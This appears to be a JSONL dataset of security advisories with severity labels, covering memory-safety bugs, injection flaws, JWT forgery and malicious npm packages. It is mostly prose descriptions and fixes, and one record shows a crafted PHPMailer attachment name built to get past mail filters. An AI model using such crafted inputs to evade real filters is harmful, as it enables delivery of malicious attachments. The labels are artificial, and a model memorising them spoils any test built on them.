-{"id": "97434f01c0223d5db302", "text": "VecStorage Deserialize Allows Violation of Length Invariant\n\nThe `Deserialize` implementation for `VecStorage` did not maintain the invariant that the number of elements must equal `nrows * ncols`. Deserialization of specially crafted inputs could allow memory access beyond allocation of the vector.\n\nThis flaw was introduced in v0.11.0 ([`086e6e`](https://github.com/dimforge/nalgebra/commit/086e6e719f53fecba6dadad2e953a487976387f5)) due to the addition of an automatically derived implementation of `Deserialize` for `MatrixVec`. `MatrixVec` was later renamed to `VecStorage` in v0.16.13 ([`0f66403`](https://github.com/dimforge/nalgebra/commit/0f66403cbbe9eeac15cedd8a906c0d6a3d8841f2)) and continued to use the automatically derived implementation of `Deserialize`.\n\nThis flaw was corrected in commit [`5bff536`](https://github.com/dimforge/nalgebra/commit/5bff5368bf38ddfa31416e4ae9897b163031a513) by returning an error during deserialization if the number of elements does not exactly match the expected size.", "text_raw": "VecStorage Deserialize Allows Violation of Length Invariant\n\n[Severity: MEDIUM]\n\nThe `Deserialize` implementation for `VecStorage` did not maintain the invariant that the number of elements must equal `nrows * ncols`. Deserialization of specially crafted inputs could allow memory access beyond allocation of the vector.\n\nThis flaw was introduced in v0.11.0 ([`086e6e`](https://github.com/dimforge/nalgebra/commit/086e6e719f53fecba6dadad2e953a487976387f5)) due to the addition of an automatically derived implementation of `Deserialize` for `MatrixVec`. `MatrixVec` was later renamed to `VecStorage` in v0.16.13 ([`0f66403`](https://github.com/dimforge/nalgebra/commit/0f66403cbbe9eeac15cedd8a906c0d6a3d8841f2)) and continued to use the automatically derived implementation of `Deserialize`.\n\nThis flaw was corrected in commit [`5bff536`](https://github.com/dimforge/nalgebra/commit/5bff5368bf38ddfa31416e4ae9897b163031a513) by returning an error during deserialization if the number of elements does not exactly match the expected size.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "2aeb93b797ff417f2fdf", "text": "Out of bounds read in ordnung\n\nAn issue was discovered in the ordnung crate through version 0.0.1 for Rust. compact::Vec violates memory safety via out-of-bounds access for large capacity.", "text_raw": "Out of bounds read in ordnung\n\n[Severity: HIGH]\n\nAn issue was discovered in the ordnung crate through version 0.0.1 for Rust. compact::Vec violates memory safety via out-of-bounds access for large capacity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e7b791efdc40f46850a6", "text": "User impersonation due to incorrect handling of the login JWT\n\n### Impact\n<!--_What kind of vulnerability is it? Who is impacted?_-->\nThis allows anyone that can connect to the server to forge a LoginPacket with manipulated JWT token allowing impersonation as any Bedrock user. Unless credentials are saved in your configuration, online mode is not affected as users are still required to log in separately. If your credentials are saved, there is no risk of exposing your email or password.\n\n### Patches\n<!--_Has the problem been patched? What versions should users upgrade to?_-->\nThis was patched as part of https://github.com/GeyserMC/Geyser/commit/b9541505af68ac7b7c093206ac7b1ba88957a5a6 and https://github.com/GeyserMC/Geyser/commit/ab2f5b326fe590e09167e8b45b4b165ac06ecd13. if your Geyser version is `1.4.2-SNAPSHOT` or later, the issue has been addressed on your build.\n\n### Workarounds\n<!--_Is there a way for users to fix or remediate the vulnerability without upgrading?_-->\nGeyser strongly recommends updating to fix this issue. If this isn't possible:\n- Use online mode and don't save credentials in your Geyser configuration\n- Use an additional authentication method on the Java server\n\n### References\n<!--_Are there any links users can visit to find out more?_-->\nThis was disclosed to us by a staff member over at Hive; you can read their disclosure here: https://updates.playhive.com/weekend-maintenance-disclosure-2kJMaY\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Come talk to us over on our [Discord](https://discord.gg/geysermc) server in the [#development](https://discord.com/channels/613163671870242838/613170125696270357) channel", "text_raw": "User impersonation due to incorrect handling of the login JWT\n\n[Severity: HIGH]\n\n### Impact\n<!--_What kind of vulnerability is it? Who is impacted?_-->\nThis allows anyone that can connect to the server to forge a LoginPacket with manipulated JWT token allowing impersonation as any Bedrock user. Unless credentials are saved in your configuration, online mode is not affected as users are still required to log in separately. If your credentials are saved, there is no risk of exposing your email or password.\n\n### Patches\n<!--_Has the problem been patched? What versions should users upgrade to?_-->\nThis was patched as part of https://github.com/GeyserMC/Geyser/commit/b9541505af68ac7b7c093206ac7b1ba88957a5a6 and https://github.com/GeyserMC/Geyser/commit/ab2f5b326fe590e09167e8b45b4b165ac06ecd13. if your Geyser version is `1.4.2-SNAPSHOT` or later, the issue has been addressed on your build.\n\n### Workarounds\n<!--_Is there a way for users to fix or remediate the vulnerability without upgrading?_-->\nGeyser strongly recommends updating to fix this issue. If this isn't possible:\n- Use online mode and don't save credentials in your Geyser configuration\n- Use an additional authentication method on the Java server\n\n### References\n<!--_Are there any links users can visit to find out more?_-->\nThis was disclosed to us by a staff member over at Hive; you can read their disclosure here: https://updates.playhive.com/weekend-maintenance-disclosure-2kJMaY\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Come talk to us over on our [Discord](https://discord.gg/geysermc) server in the [#development](https://discord.com/channels/613163671870242838/613170125696270357) channel\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "5da01b8ce9a9cd6fecc0", "text": "Malicious Package in js-wha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-wha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ad7a29c3cf78ba7e421e", "text": "Plaintext password leak in Apache Superset\n\nIn the course of work on the open source project it was discovered that authenticated users running queries against Hive and Presto database engines could access information via a number of templated fields including the contents of query description metadata database, the hashed version of the authenticated users’ password, and access to connection information including the plaintext password for the current connection. It would also be possible to run arbitrary methods on the database connection object for the Presto or Hive connection, allowing the user to bypass security controls internal to Superset. This vulnerability is present in every Apache Superset version < 0.37.2.", "text_raw": "Plaintext password leak in Apache Superset\n\n[Severity: HIGH]\n\nIn the course of work on the open source project it was discovered that authenticated users running queries against Hive and Presto database engines could access information via a number of templated fields including the contents of query description metadata database, the hashed version of the authenticated users’ password, and access to connection information including the plaintext password for the current connection. It would also be possible to run arbitrary methods on the database connection object for the Presto or Hive connection, allowing the user to bypass security controls internal to Superset. This vulnerability is present in every Apache Superset version < 0.37.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "30c292cb214f482b67ee", "text": "actionpack vulnerable to Cross-site Scripting\n\nCross-site scripting (XSS) vulnerability in `actionpack/lib/action_view/helpers/translation_helper.rb` in the internationalization component in Ruby on Rails 3.x before 3.2.16 and 4.x before 4.0.2 allows remote attackers to inject arbitrary web script or HTML via a crafted string that triggers generation of a fallback string by the i18n gem.", "text_raw": "actionpack vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `actionpack/lib/action_view/helpers/translation_helper.rb` in the internationalization component in Ruby on Rails 3.x before 3.2.16 and 4.x before 4.0.2 allows remote attackers to inject arbitrary web script or HTML via a crafted string that triggers generation of a fallback string by the i18n gem.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "7126daae6e6f5696509d", "text": "Out-of-bounds write in Microsoft.ChakraCore\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197.", "text_raw": "Out-of-bounds write in Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "645181972913c7d98eb2", "text": "TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow Exploit", "text_raw": "TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-11-15", "split": "train"}
-{"id": "4a15994b70682ebecb38", "text": "Cross-site Scripting in pandao\n\npandao Editor.md 1.5.0 allows XSS via an attribute of an ABBR or SUP element.", "text_raw": "Cross-site Scripting in pandao\n\n[Severity: MEDIUM]\n\npandao Editor.md 1.5.0 allows XSS via an attribute of an ABBR or SUP element.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "002c1a9a51f87feb3076", "text": "Data races in parc\n\nIn the affected versions of this crate, LockWeak<T> unconditionally implemented Send with no trait bounds on T. LockWeak<T> doesn't own T and only provides &T. This allows concurrent access to a non-Sync T, which can cause undefined behavior like data races.", "text_raw": "Data races in parc\n\n[Severity: HIGH]\n\nIn the affected versions of this crate, LockWeak<T> unconditionally implemented Send with no trait bounds on T. LockWeak<T> doesn't own T and only provides &T. This allows concurrent access to a non-Sync T, which can cause undefined behavior like data races.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "9945c56fd43b8ae7c196", "text": "J. River Media Jukebox 12 MP3 File Handling Remote Heap Overflow PoC", "text_raw": "J. River Media Jukebox 12 MP3 File Handling Remote Heap Overflow PoC\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-03-04", "split": "train"}
-{"id": "ccc0ca6d923f139a4f71", "text": "Wordpress WooCommerce Plugin 2.0.17 Cross-Site Scripting Vulnerability", "text_raw": "Wordpress WooCommerce Plugin 2.0.17 Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-10-18", "split": "train"}
-{"id": "737c9e99829600ce5108", "text": "Improper sanitization of delegated role names\n\n### Impact\nThe tough library, prior to 0.12.0, does not properly sanitize delegated role names when caching a repository, or when loading a repository from the filesystem. When the repository is cached or loaded, files ending with the .json extension could be overwritten with role metadata anywhere on the system.\n\nAWS would like to thank https://github.com/jku for reporting this issue.\n\n### Patches\nA fix is available in version 0.12.0.\n\n### Workarounds\nNo workarounds to this issue are known.\n\n### References\nhttps://github.com/theupdateframework/python-tuf/security/advisories/GHSA-wjw6-2cqr-j4qr", "text_raw": "Improper sanitization of delegated role names\n\n[Severity: HIGH]\n\n### Impact\nThe tough library, prior to 0.12.0, does not properly sanitize delegated role names when caching a repository, or when loading a repository from the filesystem. When the repository is cached or loaded, files ending with the .json extension could be overwritten with role metadata anywhere on the system.\n\nAWS would like to thank https://github.com/jku for reporting this issue.\n\n### Patches\nA fix is available in version 0.12.0.\n\n### Workarounds\nNo workarounds to this issue are known.\n\n### References\nhttps://github.com/theupdateframework/python-tuf/security/advisories/GHSA-wjw6-2cqr-j4qr \n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "3eb5559367b45ddfa3ed", "text": "Auth0-js bypasses CSRF checks\n\nThe Auth0.js library has a vulnerability affecting versions below 9.3 that allows an attacker to bypass the CSRF check from the state parameter if it's missing from the authorization response, leaving the client vulnerable to CSRF attacks.", "text_raw": "Auth0-js bypasses CSRF checks\n\n[Severity: HIGH]\n\nThe Auth0.js library has a vulnerability affecting versions below 9.3 that allows an attacker to bypass the CSRF check from the state parameter if it's missing from the authorization response, leaving the client vulnerable to CSRF attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-07", "split": "train"}
-{"id": "6a3c6c1ef982af8e104a", "text": "BLS Signature \"Malleability\"\n\n### Impact\n\n1. BLS signature validation in lotus uses blst library method VerifyCompressed. This method accepts signatures in 2 forms - \"serialized\", and \"compressed\", meaning that BLS signatures can be provided as either of 2 unique byte arrays.\n2. Lotus block validation functions perform a uniqueness check on provided blocks. Two blocks are considered distinct if the CIDs of their blockheader do not match. The CID method for blockheader includes the BlockSig of the block.\n\nThe result of these issues is that it would be possible to punish miners for valid blocks, as there are two different valid block CIDs available for each block, even though this must be unique.\n\n### Patches\n\nBy switching from the go based `blst` bindings over to the bindings in `filecoin-ffi`, the code paths now ensure that all signatures are compressed by size and the way they are deserialized.\nThis happened in https://github.com/filecoin-project/lotus/pull/5393\n\n### References\n\n- Original POC: https://gist.github.com/wadeAlexC/2490d522e81a796af9efcad1686e6754", "text_raw": "BLS Signature \"Malleability\"\n\n[Severity: MEDIUM]\n\n### Impact\n\n1. BLS signature validation in lotus uses blst library method VerifyCompressed. This method accepts signatures in 2 forms - \"serialized\", and \"compressed\", meaning that BLS signatures can be provided as either of 2 unique byte arrays.\n2. Lotus block validation functions perform a uniqueness check on provided blocks. Two blocks are considered distinct if the CIDs of their blockheader do not match. The CID method for blockheader includes the BlockSig of the block.\n\nThe result of these issues is that it would be possible to punish miners for valid blocks, as there are two different valid block CIDs available for each block, even though this must be unique.\n\n### Patches\n\nBy switching from the go based `blst` bindings over to the bindings in `filecoin-ffi`, the code paths now ensure that all signatures are compressed by size and the way they are deserialized.\nThis happened in https://github.com/filecoin-project/lotus/pull/5393\n\n\n### References\n\n- Original POC: https://gist.github.com/wadeAlexC/2490d522e81a796af9efcad1686e6754", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "d68f8028743e9c83d4fc", "text": "Remote Code Execution in markdown-pdf\n\nVersions of `markdown-pdf` prior to 9.0.0 are vulnerable to Remote Code Execution. The package fails to sanitize HTML code in markdown files. If markdown files with malicious HTML are converted to PDF, the resulting PDF file will execute any JavaScript code in the original markdown file. This may allow attackers to execute Remote Code.\n\n## Recommendation\n\nUpgrade to version 9.0.0 or later.", "text_raw": "Remote Code Execution in markdown-pdf\n\n[Severity: MEDIUM]\n\nVersions of `markdown-pdf` prior to 9.0.0 are vulnerable to Remote Code Execution. The package fails to sanitize HTML code in markdown files. If markdown files with malicious HTML are converted to PDF, the resulting PDF file will execute any JavaScript code in the original markdown file. This may allow attackers to execute Remote Code.\n\n\n## Recommendation\n\nUpgrade to version 9.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "c9b470c43d7b776ca723", "text": "CSRF can expose users authentication token\n\n### Issue\nThe  /login and /change endpoints can return the authenticated user's authentication token in response to a GET request. Since GET requests aren't protected with a CSRF token, this could lead to a malicious 3rd party site acquiring the authentication token.\n\n### Patches\nVersion 3.4.5 and soon to be released 4.0.0 are patched.\n\n### Workarounds\nIf you aren't using authentication tokens - you can set the SECURITY_TOKEN_MAX_AGE to \"0\" (seconds) which should make the token unusable.\n\n### References\nNone", "text_raw": "CSRF can expose users authentication token\n\n[Severity: HIGH]\n\n### Issue\nThe  /login and /change endpoints can return the authenticated user's authentication token in response to a GET request. Since GET requests aren't protected with a CSRF token, this could lead to a malicious 3rd party site acquiring the authentication token.\n\n### Patches\nVersion 3.4.5 and soon to be released 4.0.0 are patched.\n\n### Workarounds\nIf you aren't using authentication tokens - you can set the SECURITY_TOKEN_MAX_AGE to \"0\" (seconds) which should make the token unusable.\n\n### References\nNone", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-11", "split": "train"}
-{"id": "a3e1ba5bdd5bf637b680", "text": "Apache Tika does not properly initialize the XML parser or choose handlers\n\nApache Tika before 1.13 does not properly initialize the XML parser or choose handlers, which might allow remote attackers to conduct XML External Entity (XXE) attacks via vectors involving (1) spreadsheets in OOXML files and (2) XMP metadata in PDF and other file formats, a related issue to CVE-2016-2175.", "text_raw": "Apache Tika does not properly initialize the XML parser or choose handlers\n\n[Severity: HIGH]\n\nApache Tika before 1.13 does not properly initialize the XML parser or choose handlers, which might allow remote attackers to conduct XML External Entity (XXE) attacks via vectors involving (1) spreadsheets in OOXML files and (2) XMP metadata in PDF and other file formats, a related issue to CVE-2016-2175.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "1c5633316ee22189d691", "text": "Downloads Resources over HTTP in rs-brightcove\n\nAffected versions of `rs-brightcove` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `rs-brightcove`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in rs-brightcove\n\n[Severity: HIGH]\n\nAffected versions of `rs-brightcove` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `rs-brightcove`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "ae08dff935ca7b13dba1", "text": "Use-after-free in yottadb\n\nAn issue was discovered in the yottadb crate before 1.2.0 for Rust. For some memory-allocation patterns, ydb_subscript_next_st and ydb_subscript_prev_st have a use-after-free.", "text_raw": "Use-after-free in yottadb\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the yottadb crate before 1.2.0 for Rust. For some memory-allocation patterns, ydb_subscript_next_st and ydb_subscript_prev_st have a use-after-free.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2386be33af83913dd003", "text": "json-schema is vulnerable to Prototype Pollution\n\njson-schema before version 0.4.0 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').", "text_raw": "json-schema is vulnerable to Prototype Pollution\n\n[Severity: CRITICAL]\n\njson-schema before version 0.4.0 is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "15b3788d87b4cde7c446", "text": "Padding Oracle Attack due to Observable Timing Discrepancy in jose-browser-runtime\n\n### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nA patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `>=3.11.4`.\n\nUsers should upgrade to `^3.11.4`.\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.", "text_raw": "Padding Oracle Attack due to Observable Timing Discrepancy in jose-browser-runtime\n\n[Severity: MEDIUM]\n\n### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nA patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `>=3.11.4`.\n\nUsers should upgrade to `^3.11.4`.\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "843c9c504b7610cc0378", "text": "Command injection in node-ps\n\nThis affects all versions of package node-ps. The injection point is located in line 72 in lib/index.js.", "text_raw": "Command injection in node-ps\n\n[Severity: CRITICAL]\n\nThis affects all versions of package node-ps. The injection point is located in line 72 in lib/index.js.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "457703fa059d7f3bf6dd", "text": "DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow", "text_raw": "DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
-{"id": "99b5ca38611ed1c51d8d", "text": "Malicious Package in sdfjghlkfjdshlkjdhsfg\n\nAll versions of `sdfjghlkfjdshlkjdhsfg` contain malicious code. The package is essentially a worm that fetches all packages owned by the user, adds a script to self-replicate as a preinstall script and publishes a new version.\n\n## Recommendation\n\nRemove the package from your environment and ensure all packages owned were not impacted.", "text_raw": "Malicious Package in sdfjghlkfjdshlkjdhsfg\n\n[Severity: CRITICAL]\n\nAll versions of `sdfjghlkfjdshlkjdhsfg` contain malicious code. The package is essentially a worm that fetches all packages owned by the user, adds a script to self-replicate as a preinstall script and publishes a new version.\n\n\n## Recommendation\n\nRemove the package from your environment and ensure all packages owned were not impacted.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ef22793781fcefe3beb8", "text": "Command Injection in marsdb\n\nAll versions of `marsdb` are vulnerable to Command Injection. In the `DocumentMatcher` class, selectors on `$where` clauses are passed to a Function constructor unsanitized. This allows attackers to run arbitrary commands in the system when the function is executed.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in marsdb\n\n[Severity: CRITICAL]\n\nAll versions of `marsdb` are vulnerable to Command Injection. In the `DocumentMatcher` class, selectors on `$where` clauses are passed to a Function constructor unsanitized. This allows attackers to run arbitrary commands in the system when the function is executed.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "45a45fbb546ba773fa6d", "text": "Insufficient output escaping of attachment names in PHPMailer\n\n### Impact\nCWE-116: Incorrect output escaping.\n\nAn attachment added like this (note the double quote within the attachment name, which is entirely valid):\n\n$mail->addAttachment('/tmp/attachment.tmp', 'filename.html\";.jpg');\n\nWill result in a message containing these headers:\n\nContent-Type: application/octet-stream; name=\"filename.html\";.jpg\"\n    Content-Disposition: attachment; filename=\"filename.html\";.jpg\"\n\nThe attachment will be named `filename.html`, and the trailing `\";.jpg\"` will be ignored. Mail filters that reject `.html` attachments but permit `.jpg` attachments may be fooled by this.\n\nNote that the MIME type itself is obtained automatically from the *source filename* (in this case `attachment.tmp`, which maps to a generic `application/octet-stream` type), and not the *name* given to the attachment (though these are the same if a separate name is not provided), though it can be set explicitly in other parameters to attachment methods.\n\n### Patches\nPatched in PHPMailer 6.1.6 by escaping double quotes within the name using a backslash, as per RFC822 section 3.4.1, resulting in correctly escaped headers like this:\n\nContent-Type: application/octet-stream; name=\"filename.html\\\";.jpg\"\n    Content-Disposition: attachment; filename=\"filename.html\\\";.jpg\"\n\n### Workarounds\nReject or filter names and filenames containing double quote (`\"`) characters before passing them to attachment functions such as `addAttachment()`.\n\n### References\n[CVE-2020-13625](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-13625).\n[PHPMailer 6.1.6 release](https://github.com/PHPMailer/PHPMailer/releases/tag/v6.1.6)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the PHPMailer repo](https://github.com/PHPMailer/PHPMailer/issues)", "text_raw": "Insufficient output escaping of attachment names in PHPMailer\n\n[Severity: HIGH]\n\n### Impact\nCWE-116: Incorrect output escaping.\n\nAn attachment added like this (note the double quote within the attachment name, which is entirely valid):\n\n    $mail->addAttachment('/tmp/attachment.tmp', 'filename.html\";.jpg');\n\nWill result in a message containing these headers:\n\n    Content-Type: application/octet-stream; name=\"filename.html\";.jpg\"\n    Content-Disposition: attachment; filename=\"filename.html\";.jpg\"\n\nThe attachment will be named `filename.html`, and the trailing `\";.jpg\"` will be ignored. Mail filters that reject `.html` attachments but permit `.jpg` attachments may be fooled by this.\n\nNote that the MIME type itself is obtained automatically from the *source filename* (in this case `attachment.tmp`, which maps to a generic `application/octet-stream` type), and not the *name* given to the attachment (though these are the same if a separate name is not provided), though it can be set explicitly in other parameters to attachment methods.\n\n### Patches\nPatched in PHPMailer 6.1.6 by escaping double quotes within the name using a backslash, as per RFC822 section 3.4.1, resulting in correctly escaped headers like this:\n\n    Content-Type: application/octet-stream; name=\"filename.html\\\";.jpg\"\n    Content-Disposition: attachment; filename=\"filename.html\\\";.jpg\"\n\n### Workarounds\nReject or filter names and filenames containing double quote (`\"`) characters before passing them to attachment functions such as `addAttachment()`.\n\n### References\n[CVE-2020-13625](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-13625).\n[PHPMailer 6.1.6 release](https://github.com/PHPMailer/PHPMailer/releases/tag/v6.1.6)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the PHPMailer repo](https://github.com/PHPMailer/PHPMailer/issues)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-27", "split": "train"}
-{"id": "a51615c71007b2242c3e", "text": "Missing release of memory in sized-chunks\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, clone can have a memory-safety issue upon a panic.", "text_raw": "Missing release of memory in sized-chunks\n\n[Severity: HIGH]\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, clone can have a memory-safety issue upon a panic.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "67c63f17abdae6e3cefb", "text": "Uncontrolled memory consumption\n\nIn Apache PDFBox, a carefully crafted PDF file can trigger an OutOfMemory-Exception while loading the file. This issue affects Apache PDFBox version 2.0.23 and prior 2.0.x versions.", "text_raw": "Uncontrolled memory consumption\n\n[Severity: MEDIUM]\n\nIn Apache PDFBox, a carefully crafted PDF file can trigger an OutOfMemory-Exception while loading the file. This issue affects Apache PDFBox version 2.0.23 and prior 2.0.x versions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "2b00acc43712c8b98f7f", "text": "Drop of uninitialized memory in Ozone\n\nAn issue was discovered in the ozone crate through version 0.1.0 for Rust. Memory safety is violated because of the dropping of uninitialized memory.", "text_raw": "Drop of uninitialized memory in Ozone\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the ozone crate through version 0.1.0 for Rust. Memory safety is violated because of the dropping of uninitialized memory.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "91800c80317dec890222", "text": "cFos Personal Net v3.09 Remote Heap Memory Corruption Denial of Service", "text_raw": "cFos Personal Net v3.09 Remote Heap Memory Corruption Denial of Service\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-04-24", "split": "train"}
-{"id": "fda570de61dff50a792c", "text": "Configuration Override in helmet-csp\n\nVersions of `helmet-csp` before to 2.9.1 are vulnerable to a Configuration Override affecting the application's Content Security Policy (CSP). The package's browser sniffing for Firefox deletes the `default-src` CSP policy, which is the fallback policy. This allows an attacker to remove an application's default CSP, possibly rendering the application vulnerable to Cross-Site Scripting.\n\n## Recommendation\n\nUpgrade to version 2.9.1 or later. Setting the `browserSniff` configuration to `false` in vulnerable versions also mitigates the issue.", "text_raw": "Configuration Override in helmet-csp\n\n[Severity: MEDIUM]\n\nVersions of `helmet-csp` before to 2.9.1 are vulnerable to a Configuration Override affecting the application's Content Security Policy (CSP). The package's browser sniffing for Firefox deletes the `default-src` CSP policy, which is the fallback policy. This allows an attacker to remove an application's default CSP, possibly rendering the application vulnerable to Cross-Site Scripting.\n\n\n## Recommendation\n\nUpgrade to version 2.9.1 or later. Setting the `browserSniff` configuration to `false` in vulnerable versions also mitigates the issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
